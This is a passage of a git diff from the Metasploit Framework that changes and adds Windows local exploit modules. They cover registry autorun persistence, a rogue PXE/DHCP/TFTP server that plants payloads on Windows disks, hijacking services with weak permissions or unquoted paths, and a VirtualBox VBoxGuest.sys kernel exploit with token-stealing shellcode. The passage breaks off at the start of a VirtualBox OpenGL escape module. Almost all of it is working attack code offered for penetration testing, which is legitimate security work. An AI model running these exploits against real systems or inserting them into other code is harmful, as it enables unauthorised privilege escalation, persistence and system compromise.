session.shell_command_token(script_on_target) else session.shell_command_token("cscript \"#{script_on_target}\"") end rescue - print_error("Failed to execute payload on target host.") - execsuccess = nil + print_error("Failed to execute payload on target host.") + execsuccess = false end return execsuccess end # Installs payload in to the registry HKLM or HKCU - def write_to_reg(key,script_on_target, registry_value) - # Lets start to assume we had success. - write_success = true - if registry_value.nil? - nam = Rex::Text.rand_text_alpha(rand(8)+8) + def write_to_reg(key, script_on_target, registry_value) + nam = registry_value || Rex::Text.rand_text_alpha(rand(8)+8) + key_path = "#{key.to_s}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" + + print_status("Installing into autorun as #{key_path}\\#{nam}") + + if key && registry_setvaldata(key_path, nam, script_on_target, "REG_SZ") + print_good("Installed into autorun as #{key_path}\\#{nam}") + return true else - nam = registry_value + print_error("Failed to make entry in the registry for persistence.") end - print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") - - if(key) - set_return = registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",nam,script_on_target,"REG_SZ") - if set_return - print_good("Installed into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") - else - print_error("Failed to make entry in the registry for persistence.") - write_success = false - end - else - print_error("Error: failed to open the registry key for writing") - write_success = false - end + false end end diff --git a/modules/exploits/windows/local/powershell_cmd_upgrade.rb b/modules/exploits/windows/local/powershell_cmd_upgrade.rb index 5fd84bf35d..5c006038a5 100644 --- a/modules/exploits/windows/local/powershell_cmd_upgrade.rb +++ b/modules/exploits/windows/local/powershell_cmd_upgrade.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -21,7 +21,7 @@ class Metasploit3 < Msf::Exploit::Local }, 'License' => MSF_LICENSE, 'Author' => [ - 'Ben Campbell ' + 'Ben Campbell' ], 'DefaultOptions' => { @@ -40,7 +40,8 @@ class Metasploit3 < Msf::Exploit::Local if file? "%WINDIR%\\System32#{psh_path}" print_status("Executing powershell command line...") - cmd_exec(cmd_psh_payload(payload.encoded)) + command = cmd_psh_payload(payload.encoded, payload_instance.arch.first) + cmd_exec(command) else fail_with(Exploit::Failure::NotVulnerable, "No powershell available.") end diff --git a/modules/exploits/windows/local/ppr_flatten_rec.rb b/modules/exploits/windows/local/ppr_flatten_rec.rb index 264f3e991e..23e62f1b36 100644 --- a/modules/exploits/windows/local/ppr_flatten_rec.rb +++ b/modules/exploits/windows/local/ppr_flatten_rec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Local 'Keebie4e', # Metasploit integration 'egypt', # Metasploit integration 'sinn3r', # Metasploit integration - 'Meatballs', # Metasploit integration + 'Ben Campbell', # Metasploit integration 'juan vazquez', # Metasploit integration 'OJ Reeves' # Metasploit integration ], @@ -57,7 +57,7 @@ class Metasploit3 < Msf::Exploit::Local [ 'CVE', '2013-3660' ], [ 'EDB', '25912' ], [ 'OSVDB', '93539' ], - [ 'MSB', 'MS13-015' ], + [ 'MSB', 'MS13-053' ], [ 'URL', 'http://seclists.org/fulldisclosure/2013/May/91' ], ], 'DisclosureDate' => 'May 15 2013', @@ -78,7 +78,7 @@ class Metasploit3 < Msf::Exploit::Local def check os = sysinfo["OS"] if os =~ /windows/i - file_path = expand_path("%windir%") << "\\system32\\win32k.sys" + file_path = session.sys.config.getenv('windir') << "\\system32\\win32k.sys" major, minor, build, revision, branch = file_version(file_path) vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision}") diff --git a/modules/exploits/windows/local/pxeexploit.rb b/modules/exploits/windows/local/pxeexploit.rb new file mode 100644 index 0000000000..04edbd3f44 --- /dev/null +++ b/modules/exploits/windows/local/pxeexploit.rb @@ -0,0 +1,161 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/proto/tftp' +require 'rex/proto/dhcp' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::TFTPServer + include Msf::Auxiliary::Report + + def initialize + super( + 'Name' => 'PXE Exploit Server', + 'Description' => %q{ + This module provides a PXE server, running a DHCP and TFTP server. + The default configuration loads a linux kernel and initrd into memory that + reads the hard drive; placing the payload on the hard drive of any Windows + partition seen. + + Note: the displayed IP address of a target is the address this DHCP server + handed out, not the "normal" IP address the host uses. + }, + 'Author' => [ 'scriptjunkie' ], + 'License' => MSF_LICENSE, + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + }, + 'Payload' => + { + 'Space' => 4500, + 'DisableNops' => 'True', + }, + 'Platform' => 'win', + 'DisclosureDate' => 'Aug 05 2011', + 'Targets' => + [ + [ 'Windows Universal', + { + } + ], + ], + 'Privileged' => true, + 'Stance' => Msf::Exploit::Stance::Passive, + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'FILENAME' => 'update1', + 'SERVEONCE' => true # once they reboot; don't infect again - you'll kill them! + } + ) + + register_options( + [ + OptInt.new('SESSION', [ false, 'A session to pivot the attack through' ]) + ], self.class) + + register_advanced_options( + [ + OptString.new('TFTPROOT', [ false, 'The TFTP root directory to serve files from', + File.join(Msf::Config.data_directory, 'exploits', 'pxexploit')]), + OptString.new('SRVHOST', [ false, 'The IP of the DHCP server' ]), + OptString.new('NETMASK', [ false, 'The netmask of the local subnet', '255.255.255.0' ]), + OptBool.new('RESETPXE', [ true, 'Resets the server to re-exploit already targeted hosts', false ]), + OptString.new('DHCPIPSTART', [ false, 'The first IP to give out' ]), + OptString.new('DHCPIPEND', [ false, 'The last IP to give out' ]) + ], self.class) + end + + def exploit + # Prepare payload + print_status("Creating initrd") + initrd = IO.read(File.join(Msf::Config.data_directory, 'exploits', 'pxexploit','updatecustom')) + uncompressed = Rex::Text.ungzip(initrd) + payl = payload.generate + uncompressed[uncompressed.index('AAAAAAAAAAAAAAAAAAAAAA'),payl.length] = payl + initrd = Rex::Text.gzip(uncompressed) + + # Meterpreter attack + if framework.sessions.include? datastore['SESSION'] + client = framework.sessions[datastore['SESSION']] + if not client.lanattacks + print_status("Loading lanattacks extension...") + client.core.use("lanattacks") + else + if datastore['RESETPXE'] + print_status("Resetting PXE attack...") + client.lanattacks.dhcp.reset + end + end + + print_status("Loading DHCP options...") + client.lanattacks.dhcp.load_options(datastore) + 0.upto(4) do |i| + print_status("Loading file #{i+1} of 5") + if i < 4 + contents = IO.read(::File.join(datastore['TFTPROOT'],"update#{i}")) + else + contents = initrd + end + client.lanattacks.tftp.add_file("update#{i}",contents) + end + print_status("Starting TFTP server...") + client.lanattacks.tftp.start + print_status("Starting DHCP server...") + client.lanattacks.dhcp.start + print_status("pxesploit attack started") + while (true) do + begin + # get stats every 20s + select(nil, nil, nil, 20) + client.lanattacks.dhcp.log.each do |item| + print_status("Served PXE attack to #{item[0].unpack('H2H2H2H2H2H2').join(':')} "+ + "(#{Rex::Socket.addr_ntoa(item[1])})") + report_note({ + :type => 'PXE.client', + :data => item[0].unpack('H2H2H2H2H2H2').join(':') + }) + end + rescue ::Interrupt + print_status("Stopping TFTP server...") + client.lanattacks.tftp.stop + print_status("Stopping DHCP server...") + client.lanattacks.dhcp.stop + print_status("PXEsploit attack stopped") + return + end + end + end + + # normal attack + print_status("Starting TFTP server...") + @tftp = Rex::Proto::TFTP::Server.new + @tftp.set_tftproot(datastore['TFTPROOT']) + @tftp.register_file('update4',initrd) + @tftp.start + + print_status("Starting DHCP server...") + @dhcp = Rex::Proto::DHCP::Server.new( datastore ) + @dhcp.report do |mac, ip| + print_status("Serving PXE attack to #{mac.unpack('H2H2H2H2H2H2').join(':')} "+ + "(#{Rex::Socket.addr_ntoa(ip)})") + report_note({ + :type => 'PXE.client', + :data => mac.unpack('H2H2H2H2H2H2').join(':') + }) + end + @dhcp.start + print_status("pxesploit attack started") + + # Wait for finish.. + @tftp.thread.join + @dhcp.thread.join + print_status("pxesploit attack completed") + end + +end diff --git a/modules/exploits/windows/local/s4u_persistence.rb b/modules/exploits/windows/local/s4u_persistence.rb index 7572b24d1a..40a4dc77e1 100644 --- a/modules/exploits/windows/local/s4u_persistence.rb +++ b/modules/exploits/windows/local/s4u_persistence.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -30,7 +30,7 @@ class Metasploit3 < Msf::Exploit::Local 'Thomas McCarthy "smilingraccoon" ', 'Brandon McCann "zeknox" ' ], - 'Platform' => [ 'windows' ], + 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows', {} ] ], 'DisclosureDate' => 'Jan 2 2013', # Date of scriptjunkie's blog post @@ -115,7 +115,7 @@ class Metasploit3 < Msf::Exploit::Local # Returns path for XML and payload def generate_path(rexename) # Generate a path to write payload and XML - path = datastore['PATH'] || expand_path("%TEMP%") + path = datastore['PATH'] || session.sys.config.getenv('TEMP') xml_path = "#{path}\\#{Rex::Text.rand_text_alpha((rand(8)+6))}.xml" rexe_path = "#{path}\\#{rexename}" return xml_path,rexe_path diff --git a/modules/exploits/windows/local/service_permissions.rb b/modules/exploits/windows/local/service_permissions.rb index 98e3490a9d..d6ba7bff0c 100644 --- a/modules/exploits/windows/local/service_permissions.rb +++ b/modules/exploits/windows/local/service_permissions.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -9,7 +9,13 @@ require 'rex' class Metasploit3 < Msf::Exploit::Local Rank = GreatRanking + include Msf::Post::File include Msf::Post::Windows::Services + include Msf::Post::Windows::Accounts + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + ERROR = Msf::Post::Windows::Error def initialize(info={}) super( update_info( info, @@ -19,10 +25,7 @@ class Metasploit3 < Msf::Exploit::Local a SYSTEM session. If directly creating a service fails, this module will inspect existing services to look for insecure file or configuration permissions that may be hijacked. It will then attempt to restart the replaced service to run the - payload. This will result in a new session when this succeeds. If the module is - able to modify the service but does not have permission to start and stop the - affected service, the attacker must wait for the system to restart before a - session will be created. + payload. This will result in a new session when this succeeds. }, 'License' => MSF_LICENSE, 'Author' => [ 'scriptjunkie' ], @@ -48,148 +51,153 @@ class Metasploit3 < Msf::Exploit::Local end - def exploit - # randomize the filename - filename= Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" - - # randomize the exe name - tempexe_name = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" - - raw = payload.encoded - - exe = Msf::Util::EXE.to_win32pe_service(session.framework, raw) - - sysdir = session.fs.file.expand_path("%SystemRoot%") - tmpdir = session.fs.file.expand_path("%TEMP%") - - print_status("Meterpreter stager executable #{exe.length} bytes long being uploaded..") - begin - # - # Upload the payload to the filesystem - # - tempexe = tmpdir + "\\" + tempexe_name - fd = session.fs.file.new(tempexe, "wb") - fd.write(exe) - fd.close - rescue ::Exception => e - print_error("Error uploading file #{filename}: #{e.class} #{e}") - return - end - - #attempt to make new service - - #SERVICE_NO_CHANGE 0xffffffff for DWORDS or NULL for pointer values leaves the current config + def execute_payload_as_new_service(path) + success = false print_status("Trying to add a new service...") - adv = session.railgun.advapi32 - manag = adv.OpenSCManagerA(nil,nil,0x10013) - if(manag["return"] != 0) - # SC_MANAGER_CREATE_SERVICE = 0x0002 - # SERVICE_START=0x0010 SERVICE_WIN32_OWN_PROCESS= 0X00000010 - # SERVICE_AUTO_START = 2 SERVICE_ERROR_IGNORE = 0 - newservice = adv.CreateServiceA(manag["return"],Rex::Text.rand_text_alpha((rand(8)+6)), - "",0x0010,0X00000010,2,0,tempexe,nil,nil,nil,nil,nil) - if(newservice["return"] != 0) - print_status("Created service... #{newservice["return"]}") - ret = adv.StartServiceA(newservice["return"], 0, nil) - print_status("Service should be started! Enjoy your new SYSTEM meterpreter session.") - adv.DeleteService(newservice["return"]) - adv.CloseServiceHandle(newservice["return"]) - if datastore['AGGRESSIVE'] != true - adv.CloseServiceHandle(manag["return"]) - return - end - else - print_error("Uhoh. service creation failed, but we should have the permissions. :-(") + service_name = Rex::Text.rand_text_alpha((rand(8)+6)) + if service_create(service_name, {:path => path, :display=>""}) == ERROR::SUCCESS + print_status("Created service... #{service_name}") + write_exe(path, service_name) + if service_start(service_name) == ERROR::SUCCESS + print_good("Service should be started! Enjoy your new SYSTEM meterpreter session.") + success = true end + + service_delete(service_name) else print_status("No privs to create a service...") - manag = adv.OpenSCManagerA(nil,nil,1) - if(manag["return"] == 0) - print_status("Cannot open sc manager. You must have no privs at all. Ridiculous.") + success = false + end + + return success + end + + def weak_service_permissions(service_name, service, path) + success = false + vprint_status("[#{service_name}] Checking for weak service permissions") + + if (service_change_config(service_name, {:path => path}) == ERROR::SUCCESS) + print_good("[#{service_name}] has weak configuration permissions - reconfigured to use exe #{path}") + print_status("[#{service_name}] Restarting service") + res = service_stop(service_name) + + if ((res == ERROR::SUCCESS) || (res == ERROR::SERVICE_NOT_ACTIVE)) + write_exe(path, service_name) + if service_restart(service_name) + print_good("[#{service_name}] Service restarted") + success = true + else + print_error("[#{service_name}] Unable to restart service") + end + end + + unless (service_change_config(service_name, {:path => service[:path]}) == ERROR::SUCCESS) + print_error("[#{service_name}] Failed to reset service to original path #{service[:path]}") end end - print_status("Trying to find weak permissions in existing services..") - #Search through list of services to find weak permissions, whether file or config - serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services" - #for each service - service_list.each do |serv| - begin - srvtype = registry_getvaldata("#{serviceskey}\\#{serv}","Type").to_s - if srvtype != "16" - continue - end - moved = false - configed = false - #default path, but there should be an ImagePath registry key - source = session.fs.file.expand_path("%SYSTEMROOT%\\system32\\#{serv}.exe") - #get path to exe; parse out quotes and arguments - sourceorig = registry_getvaldata("#{serviceskey}\\#{serv}","ImagePath").to_s - sourcemaybe = session.fs.file.expand_path(sourceorig) - if( sourcemaybe[0] == '"' ) - sourcemaybe = sourcemaybe.split('"')[1] - else - sourcemaybe = sourcemaybe.split(' ')[0] - end - begin - session.fs.file.stat(sourcemaybe) #check if it really exists - source = sourcemaybe - rescue - print_status("Cannot reliably determine path for #{serv} executable. Trying #{source}") - end - #try to exploit weak file permissions - if(source != tempexe && session.railgun.kernel32.MoveFileA(source, source+'.bak')["return"]) - session.railgun.kernel32.CopyFileA(tempexe, source, false) - print_status("#{serv} has weak file permissions - #{source} moved to #{source+'.bak'} and replaced.") - moved = true - end - #try to exploit weak config permissions - #open with SERVICE_CHANGE_CONFIG (0x0002) - servhandleret = adv.OpenServiceA(manag["return"],serv,2) - if(servhandleret["return"] != 0) - #SERVICE_NO_CHANGE is 0xFFFFFFFF - if(adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF, - 0xFFFFFFFF,0xFFFFFFFF,tempexe,nil,nil,nil,nil,nil,nil)) - print_status("#{serv} has weak configuration permissions - reconfigured to use exe #{tempexe}.") - configed = true - end - adv.CloseServiceHandle(servhandleret["return"]) - end - if(moved != true && configed != true) - print_status("No exploitable weak permissions found on #{serv}") - continue - end - print_status("Restarting #{serv}") - #open with SERVICE_START (0x0010) and SERVICE_STOP (0x0020) - servhandleret = adv.OpenServiceA(manag["return"],serv,0x30) - if(servhandleret["return"] != 0) - #SERVICE_CONTROL_STOP = 0x00000001 - if(adv.ControlService(servhandleret["return"],1,56)) - session.railgun.kernel32.Sleep(1000) - adv.StartServiceA(servhandleret["return"],0,nil) - print_status("#{serv} restarted. You should get a system meterpreter soon. Enjoy.") - #Cleanup - if moved == true - session.railgun.kernel32.MoveFileExA(source+'.bak', source, 1) - end - if configed == true - servhandleret = adv.OpenServiceA(manag["return"],serv,2) - adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF, - 0xFFFFFFFF,0xFFFFFFFF,sourceorig,nil,nil,nil,nil,nil,nil) - adv.CloseServiceHandle(servhandleret["return"]) - end - else - print_status("Could not restart #{serv}. Wait for a reboot or force one yourself.") - end - adv.CloseServiceHandle(servhandleret["return"]) - if datastore['AGGRESSIVE'] != true - return - end + return success + end + + def weak_file_permissions(service_name, service, path, token) + success = false + vprint_status("[#{service_name}] Checking for weak file permissions") + + #get path to exe; parse out quotes and arguments + original_path = service[:path] + possible_path = expand_path(original_path) + if (possible_path[0] == '"') + possible_path = possible_path.split('"')[1] + else + possible_path = possible_path.split(' ')[0] + end + + unless file?(possible_path) + # If we cant determine it manually show the user and let them decide if manual inspection is worthwhile + print_status("[#{service_name}] Cannot reliably determine path: #{service[:path]}") + end + + file_permissions = check_dir_perms(possible_path, token) + + if file_permissions && file_permissions.index('W') + print_good("[#{service_name}] Write access to #{possible_path}") + + begin + status = service_status(service_name) + no_access = false + # Unless service is already stopped + if status[:state] == SERVICE_STOPPED + stopped = true else - print_status("Could not restart #{serv}. Wait for a reboot. (or force one yourself)") + res = service_stop(service_name) + stopped = ((res == ERROR::SUCCESS) || (res == ERROR::SERVICE_NOT_ACTIVE)) end - rescue + rescue RuntimeError => e + vprint_error("[#{service_name}] #{e} ") + no_access = true + end + + if stopped or no_access + begin + if move_file(possible_path, possible_path+'.bak') + write_exe(possible_path, service_name) + print_status("[#{service_name}] #{possible_path} moved to #{possible_path+'.bak'} and replaced.") + if service_restart(service_name) + print_good("[#{service_name}] Service restarted") + success = true + else + print_error("Unable to restart service") + end + end + rescue Rex::Post::Meterpreter::RequestError => e + vprint_error("[#{service_name}] #{e}") + end + else + vprint_error("[#{service_name}] Unable to stop service") + end + end + + return success + end + + # If ServiceType is SERVICE_WIN32_SHARE_PROCESS then we need to + # define the correct servicename. + def write_exe(path, service_name=nil) + vprint_status("[#{service_name}] Writing service executable to #{path}") + exe = generate_payload_exe_service({:servicename=>service_name}) + write_file(path, exe) + register_files_for_cleanup(path) + end + + def exploit + filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" + tempexe_name = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" + + dir_env = get_envs('SystemRoot', 'TEMP') + sysdir = dir_env['SystemRoot'] + tmpdir = dir_env['TEMP'] + tempexe = tmpdir + "\\" + tempexe_name + + begin + return if execute_payload_as_new_service(tempexe) + rescue RuntimeError => e + vprint_status("Unable to create a new service: #{e}") + end + + aggressive = datastore['AGGRESSIVE'] + + print_status("Trying to find weak permissions in existing services..") + + token = get_imperstoken + each_service do |serv| + service_name = serv[:name] + service = service_info(service_name) + begin + return if weak_file_permissions(service_name, service, tempexe, token) and not aggressive + return if weak_service_permissions(service_name, service, tempexe) and not aggressive + rescue RuntimeError => e + vprint_status("[#{serv[:name]}] #{e}") end end end diff --git a/modules/exploits/windows/local/trusted_service_path.rb b/modules/exploits/windows/local/trusted_service_path.rb index 169574a435..dcea5907f9 100644 --- a/modules/exploits/windows/local/trusted_service_path.rb +++ b/modules/exploits/windows/local/trusted_service_path.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -9,6 +9,7 @@ require 'msf/core/exploit/exe' class Metasploit3 < Msf::Exploit::Local Rank = ExcellentRanking + include Msf::Exploit::FileDropper include Msf::Exploit::EXE include Msf::Post::File include Msf::Post::Windows::Services @@ -44,10 +45,8 @@ class Metasploit3 < Msf::Exploit::Local ], 'Platform' => [ 'win'], 'Targets' => [ ['Windows', {}] ], - 'SessionTypes' => [ "shell", "meterpreter" ], + 'SessionTypes' => [ "meterpreter" ], 'DefaultTarget' => 0, - # Migrate away, in case the service dies (can kill access) - 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' } )) end @@ -65,28 +64,27 @@ class Metasploit3 < Msf::Exploit::Local def enum_vuln_services(quick=false) vuln_services = [] - service_list.each do |name| - info = service_info(name) + each_service do |service| + info = service_info(service[:name]) # Sometimes there's a null byte at the end of the string, # and that can break the regex -- annoying. - cmd = info['Command'].strip + if info[:path] + cmd = info[:path].strip - # Check path: - # - Filter out paths that begin with a quote - # - Filter out paths that don't have a space - next if cmd !~ /^[a-z]\:.+\.exe$/i - next if not cmd.split("\\").map {|p| true if p =~ / /}.include?(true) + # Check path: + # - Filter out paths that begin with a quote + # - Filter out paths that don't have a space + next if cmd !~ /^[a-z]\:.+\.exe$/i + next if not cmd.split("\\").map {|p| true if p =~ / /}.include?(true) - # Filter out services that aren't launched as SYSTEM - next if info['Credentials'] !~ /LocalSystem/ + vprint_status("Found vulnerable service: #{service[:name]} - #{cmd} (#{info[:startname]})") + vuln_services << [service[:name], cmd] - vprint_status("Found vulnerable service: #{name} - #{cmd} (#{info['Credentials']})") - vuln_services << [name, cmd] - - # This process can be pretty damn slow. - # Allow the user to just find one, and get the hell out. - break if not vuln_services.empty? and quick + # This process can be pretty damn slow. + # Allow the user to just find one, and get the hell out. + break if not vuln_services.empty? and quick + end end return vuln_services @@ -99,69 +97,32 @@ class Metasploit3 < Msf::Exploit::Local # print_status("Finding a vulnerable service...") svrs = enum_vuln_services(true) - if svrs.empty? - print_error("No service found with trusted path issues") - return - end + + fail_with(Failure::NotVulnerable, "No service found with trusted path issues") if svrs.empty? svr_name = svrs.first[0] fpath = svrs.first[1] exe_path = "#{fpath.split(' ')[0]}.exe" - print_status("Placing #{exe_path} as #{svr_name}") - + print_status("Placing #{exe_path} for #{svr_name}") # # Drop the malicious executable into the path # - exe = generate_payload_exe + exe = generate_payload_exe_service({:servicename=>svr_name}) print_status("Writing #{exe.length.to_s} bytes to #{exe_path}...") begin write_file(exe_path, exe) + register_files_for_cleanup(exe_path) rescue Rex::Post::Meterpreter::RequestError => e # Can't write the file, can't go on - print_error(e.message) - return + fail_with(Failure::Unknown, e.message) end - # # Run the service, let the Windows API do the rest # print_status("Launching service #{svr_name}...") - tried = false - begin - status = service_start(svr_name) - raise RuntimeError, status if status != 0 - rescue RuntimeError => s - if tried - print_error("Unable to start #{svr_name}") - return - else - tried = true - end - - case s.message.to_i - when 1 - # Service already started, restart again - service_stop(svr_name) - retry - when 2 - # Service disabled, enable it - service_change_startup(svr_name, 'manual') - retry - end - end - - - # - # "Nothing ever happened, we swears it on the Precious!" - # - print_status("Deleting #{exe_path}") - begin - cmd_exec("cmd /c del \"#{exe_path}\"") - rescue ::Exception => e - print_error("Unable to remove #{exe_path}: #{e.message}") - end + service_restart(svr_name) end end diff --git a/modules/exploits/windows/local/virtual_box_guest_additions.rb b/modules/exploits/windows/local/virtual_box_guest_additions.rb new file mode 100644 index 0000000000..dcf21d3d29 --- /dev/null +++ b/modules/exploits/windows/local/virtual_box_guest_additions.rb @@ -0,0 +1,215 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/exploit/local/windows_kernel' +require 'rex' + +class Metasploit3 < Msf::Exploit::Local + Rank = AverageRanking + + include Msf::Exploit::Local::WindowsKernel + include Msf::Post::File + include Msf::Post::Windows::FileInfo + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Process + + def initialize(info={}) + super(update_info(info, { + 'Name' => 'VirtualBox Guest Additions VBoxGuest.sys Privilege Escalation', + 'Description' => %q{ + A vulnerability within the VBoxGuest driver allows an attacker to inject memory they + control into an arbitrary location they define. This can be used by an attacker to + overwrite HalDispatchTable+0x4 and execute arbitrary code by subsequently calling + NtQueryIntervalProfile on Windows XP SP3 systems. This has been tested with VBoxGuest + Additions up to 4.3.10r93012. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Matt Bergin ', # Vulnerability discovery and PoC + 'Jay Smith ' # MSF module + ], + 'Arch' => ARCH_X86, + 'Platform' => 'win', + 'SessionTypes' => [ 'meterpreter' ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + }, + 'Targets' => + [ + ['Windows XP SP3', + { + 'HaliQuerySystemInfo' => 0x16bba, + '_KPROCESS' => "\x44", + '_TOKEN' => "\xc8", + '_UPID' => "\x84", + '_APLINKS' => "\x88" + } + ] + ], + 'References' => + [ + ['CVE', '2014-2477'], + ['URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-001.txt'] + ], + 'DisclosureDate'=> 'Jul 15 2014', + 'DefaultTarget' => 0 + })) + + end + + def fill_memory(proc, address, length, content) + + session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE") + + if not proc.memory.writable?(address) + vprint_error("Failed to allocate memory") + return nil + else + vprint_good("#{address} is now writable") + end + + result = proc.memory.write(address, content) + + if result.nil? + vprint_error("Failed to write contents to memory") + return nil + else + vprint_good("Contents successfully written to 0x#{address.to_s(16)}") + end + + return address + end + + def check + if sysinfo["Architecture"] =~ /wow64/i or sysinfo["Architecture"] =~ /x64/ + return Exploit::CheckCode::Safe + end + + handle = open_device('\\\\.\\vboxguest', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING') + if handle.nil? + return Exploit::CheckCode::Safe + end + session.railgun.kernel32.CloseHandle(handle) + + os = sysinfo["OS"] + unless (os =~ /windows xp.*service pack 3/i) + return Exploit::CheckCode::Safe + end + + file_path = get_env('WINDIR') << "\\system32\\drivers\\vboxguest.sys" + unless file?(file_path) + return Exploit::CheckCode::Unknown + end + + major, minor, build, revision, branch = file_version(file_path) + vprint_status("vboxguest.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}") + + unless (major == 4) + return Exploit::CheckCode::Safe + end + + case minor + when 0 + return Exploit::CheckCode::Vulnerable if build < 26 + when 1 + return Exploit::CheckCode::Vulnerable if build < 34 + when 2 + return Exploit::CheckCode::Vulnerable if build < 26 + when 3 + return Exploit::CheckCode::Vulnerable if build < 12 + end + + return Exploit::CheckCode::Safe + end + + def exploit + if is_system? + fail_with(Exploit::Failure::None, 'Session is already elevated') + end + + if sysinfo["Architecture"] =~ /wow64/i + fail_with(Failure::NoTarget, "Running against WOW64 is not supported") + elsif sysinfo["Architecture"] =~ /x64/ + fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported") + end + + unless check == Exploit::CheckCode::Vulnerable + fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system") + end + + handle = open_device('\\\\.\\vboxguest', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING') + if handle.nil? + fail_with(Failure::NoTarget, "Unable to open \\\\.\\vboxguest device") + end + + print_status("Disclosing the HalDispatchTable address...") + hal_dispatch_table = find_haldispatchtable + if hal_dispatch_table.nil? + session.railgun.kernel32.CloseHandle(handle) + fail_with(Failure::Unknown, "Failed to disclose HalDispatchTable") + else + print_good("Address successfully disclosed.") + end + + print_status('Getting the hal.dll base address...') + hal_info = find_sys_base('hal.dll') + fail_with(Failure::Unknown, 'Failed to disclose hal.dll base address') if hal_info.nil? + + hal_base = hal_info[0] + print_good("hal.dll base address disclosed at 0x#{hal_base.to_s(16).rjust(8, '0')}") + hali_query_system_information = hal_base + target['HaliQuerySystemInfo'] + + print_status("Storing the shellcode in memory...") + this_proc = session.sys.process.open + + restore_ptrs = "\x31\xc0" # xor eax, eax + restore_ptrs << "\xb8" + [hali_query_system_information].pack('V') # mov eax, offset hal!HaliQuerySystemInformation + restore_ptrs << "\xa3" + [hal_dispatch_table + 4].pack('V') # mov dword ptr [nt!HalDispatchTable+0x4], eax + + kernel_shell = token_stealing_shellcode(target) + kernel_shell_address = 0x1 + + buf = "\x90" * 0x6000 + buf[0, 56] = "\x50\x00\x00\x00" * 14 + buf[0x5000, kernel_shell.length] = restore_ptrs + kernel_shell + + result = fill_memory(this_proc, kernel_shell_address, buf.length, buf) + if result.nil? + session.railgun.kernel32.CloseHandle(handle) + fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory") + else + print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}") + end + + print_status("Triggering the vulnerability, corrupting the HalDispatchTable...") + session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x22a040, 0x1, 140, hal_dispatch_table + 0x4 - 40, 0) + session.railgun.kernel32.CloseHandle(handle) + + print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...") + session.railgun.ntdll.NtQueryIntervalProfile(2, 4) + + print_status("Checking privileges after exploitation...") + + unless is_system? + fail_with(Failure::Unknown, "The exploitation wasn't successful") + else + print_good("Exploitation successful!") + end + + p = payload.encoded + print_status("Injecting #{p.length.to_s} bytes to memory and executing it...") + if execute_shellcode(p) + print_good("Enjoy") + else + fail_with(Failure::Unknown, "Error while executing the payload") + end + + end + +end + diff --git a/modules/exploits/windows/local/virtual_box_opengl_escape.rb b/modules/exploits/windows/local/virtual_box_opengl_escape.rb new file mode 100644 index 0000000000..9da271535c --- /dev/null +++ b/modules/exploits/windows/local/virtual_box_opengl_escape.rb @@ -0,0 +1,443 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' + +class Metasploit3 < Msf::Exploit::Local + Rank = AverageRanking + + DEVICE = '\\\\.\\VBoxGuest' + INVALID_HANDLE_VALUE = 0xFFFFFFFF + + # VBOX HGCM protocol constants + VBOXGUEST_IOCTL_HGCM_CONNECT = 2269248 + VBOXGUEST_IOCTL_HGCM_DISCONNECT = 2269252 + 